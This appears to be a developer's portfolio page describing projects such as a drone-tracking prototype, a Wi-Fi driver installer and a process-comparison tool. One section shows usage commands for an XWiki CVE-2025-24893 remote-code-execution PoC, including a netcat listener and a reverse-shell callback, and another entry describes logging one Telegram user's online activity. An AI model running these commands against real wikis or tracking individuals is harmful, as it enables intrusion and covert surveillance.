Selected works, scripts, and dark experiments with details on purpose and status.
Small-team drone COP prototype for mapping multiple sUAS on one laptop with conflict and geofence alerts. Focused on multi-source telemetry, map tracks, and after-action review workflows.
Renewed Katoolin. Keeps Ubuntu users on Ubuntu while installing Kali tools with guardrails. Accounts for safer defaults, modern install paths, and minimal breakage.
Western Washington University project for Poulsbo clients that reduces accidental data leaks on endpoints. Focused on monitoring policies, egress controls, and audit-friendly reporting.
Probability explorer for how often you might meet people with rare or common names. Takes Census 2020 lookups with quick calculations and a React UI.
Python PoC for CVE-2025-24893 that injects Groovy through the SolrSearch RSS endpoint to confirm open builds. Prints the same markers each run for quick comparison between vulnerable and patched hosts.
Bash installer that builds and installs the Realtek RTL88x2BU USB Wi-Fi driver on Ubuntu using DKMS. Handles dependencies, syncs the driver source, and adds quick verification steps.
Bash tool that reads process details from /proc and compares processes with a difference metric.
Supports filtering, sorting, multiple export formats, and a monitoring mode.
Python tool that uses Telethon to log a specific Telegram user’s online and last-seen changes. Includes basic rate-limit handling and log rotation.
Obfuscation experiment for testing how code changes affect readability and analysis. Designed as a sandbox for technique comparisons.
Go obfuscation concept built around garble with extra transformations for experimentation and learning. Focused on layered transforms and analysis resistance.
Team project building a malware analysis tool with a Windows-focused UI and pipeline. Oriented around triage, labeling, and repeatable reports.
live build timeline
Identified the need for a portable multi-UAS COP amid rising drone activity and gaps in Remote ID visibility. Defined a system to fuse telemetry, visualize tracks, detect conflicts/geofence violations, and produce tamper-evident flight logs.
Frontend map and services run with simulated/SITL telemetry. Conflict/geofence alerting and logging paths exercised. Awaiting funding for drones.
stage log
Katoolin forks were outdated; set goals for a simple Ubuntu-first installer with alternate install paths.
Built a first-pass CLI skeleton outlining categories, DKMS/alternative install hooks, and repo toggles, untested.
Plan to resume in start of 2026.
stage log
Aligned on Poulsbo client needs, scoped how to reduce accidental endpoint leaks, and mapped regulated data risks for laptops and common egress paths.
Completed docs outlining monitoring approach, policies, and demo prep, including how to leverage cloud compute for the proof-of-concept walkthrough.
Beginning programming/implementation.
stage log
Scoped a probability-focused name-encounter project for MATH 341.
Built an approved backend using the 2020 U.S. Census API to compute encounter probabilities.
Implemented a minimal React UI for state selection, name input, and results display.
Expanded features with multi-name inputs, probability modes, and early simulations/generators.
Demoed a live S3-hosted build with end-to-end functionality in class.
Beta running; development paused.
script dossier
Python 3 PoC for CVE-2025-24893. xwiki_solrsearch-rce-exploit
Shows the template injection that needs no login via the RSS text field in Main.SolrSearchMacros.
Compares the cmd and rshell paths.
Simple checklist pulled from the repo instructions.
Flags what gets logged and how far the PoC may run.
* Authorized environments only. Educational use.
pip install requests
# Title: "Payloads" ---> cmd payloads
python3 xwiki_solrsearch-rce.py --target http://wiki.example.tld cmd --cmd "whoami"
# Title: "Payloads" ---> rshell payloads
nc -lvnp 4444
python3 xwiki_solrsearch-rce.py --target http://wiki.example.tld rshell 10.10.14.23 4444
script dossier
Bash installer that fetches, compiles, and wires Realtek’s USB Wi-Fi driver into DKMS to keep adapters working after kernel updates.
install-rtl88x2bu.sh updates apt, installs DKMS dependencies, syncs the upstream driver, and hands off to install-driver.sh so RTL88x2BU USB adapters keep working after every kernel bump.
Quick view of what the script automates.
Requirements before running the installer.
The fastest path from clone to working adapter.
Confirm the module and keep it healthy after updates.
git clone https://github.com/torjan0/rtl88x2bu-ez-installer.git
cd rtl88x2bu-ez-installer
chmod +x install-rtl88x2bu.sh
sudo ./install-rtl88x2bu.sh
lsmod | grep 88x2bu
ip link show
sudo reboot # optional but recommended
Run the installer with sudo, then verify the module + interface before rebooting.
Driver source: morrownr/88x2bu by morrownr · Script author: Maks ( @torjan0 ).
script dossier
Bash toolkit that walks /proc, scores PID pairs by memory + CPU deltas, and exports clean reports for responders.
Combines /proc/[pid]/stat + status to snapshot pid, command, VmRSS, CPU ticks, nice, start epoch, UID, and state.
Walks through the scan, filter, pairing, and report pipeline used in live monitoring.
Direct the data slice and ordering with compact flags.
Standardized exports for tickets and quick diffs.
git clone https://github.com/torjan0/Advanced-Process-Comparsion-Tool-in-Bash.git
cd ProcessCompareBash
chmod +x process_compare.sh
./process_compare.sh --min-memory 10000 --cmd-filter sshd --sort cpu -O desc --all --summary
./process_compare.sh --interactive --refresh 5 --alert --output-format html --file reports/pair.html
./process_compare.sh --parallel -u root --output-format json > compare.json
Pair filtering + reporting flags highlight memory/CPU twins fast—flip --output-format for exports.